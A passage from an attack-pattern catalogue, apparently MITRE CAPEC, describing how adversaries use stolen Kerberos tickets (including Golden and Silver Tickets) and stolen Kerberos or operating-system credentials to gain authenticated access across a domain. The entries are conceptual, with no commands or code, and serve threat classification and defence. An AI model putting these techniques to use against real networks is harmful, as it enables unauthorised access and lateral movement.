An adversary uses stolen Kerberos tickets to access systems/resources that leverage the Kerberos authentication protocol. The Kerberos authentication protocol centers around a ticketing system which is used to request/grant access to services and to then access the requested services. An adversary can obtain any one of these tickets (e.g. Service Ticket, Ticket Granting Ticket, Silver Ticket, or Golden Ticket) to authenticate to a system/resource without needing the account's credentials. Depending on the ticket obtained, the adversary may be able to access a particular resource or generate TGTs for any account within an Active Directory Domain.
CAPEC-652: Use of Known Kerberos Credentials
An adversary obtains (i.e. steals or purchases) legitimate Kerberos credentials (e.g. Kerberos service account userID/password or Kerberos Tickets) with the goal of achieving authenticated access to additional systems, applications, or services within the domain.
CAPEC-653: Use of Known Operating System Credentials
An adversary guesses or obtains (i.e. steals or purchases) legitimate operating system credentials (e.g. userID/password) to achieve authentication and to perform authorized actions on the system, under the guise of an authenticated user or service. This applies to any Operating System.